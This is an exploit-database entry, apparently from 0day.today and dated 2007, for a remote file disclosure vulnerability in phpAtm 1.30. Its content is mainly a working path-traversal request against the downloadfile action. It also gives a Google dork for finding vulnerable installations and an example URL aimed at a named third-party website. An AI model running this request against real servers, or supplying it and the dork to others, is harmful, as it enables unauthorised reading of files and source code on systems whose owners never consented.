phpAtm 1.30 (downloadfile) Remote File Disclosure Vulnerability

2007-05-13T00:00:00
ID 1337DAY-ID-1870
Type zdt
Reporter Ali.Mohajem
Modified 2007-05-13T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ===============================================================
phpAtm 1.30 (downloadfile) Remote File Disclosure Vulnerability
===============================================================


******************************************************************************************
download page in : http://phpatm.free.fr/
 
bug in : phpatm
injection attack :
 index.php?action=downloadfile&filename=index.php&directory=../&
 
Dork in google : "powered by php advanced transfer manager"
 
example : http://www.furytech.net/phpATM_130/index.php?action=downloadfile&filename=index.php&directory=../
*******************************************************************************************



#  0day.today [2018-01-01]  #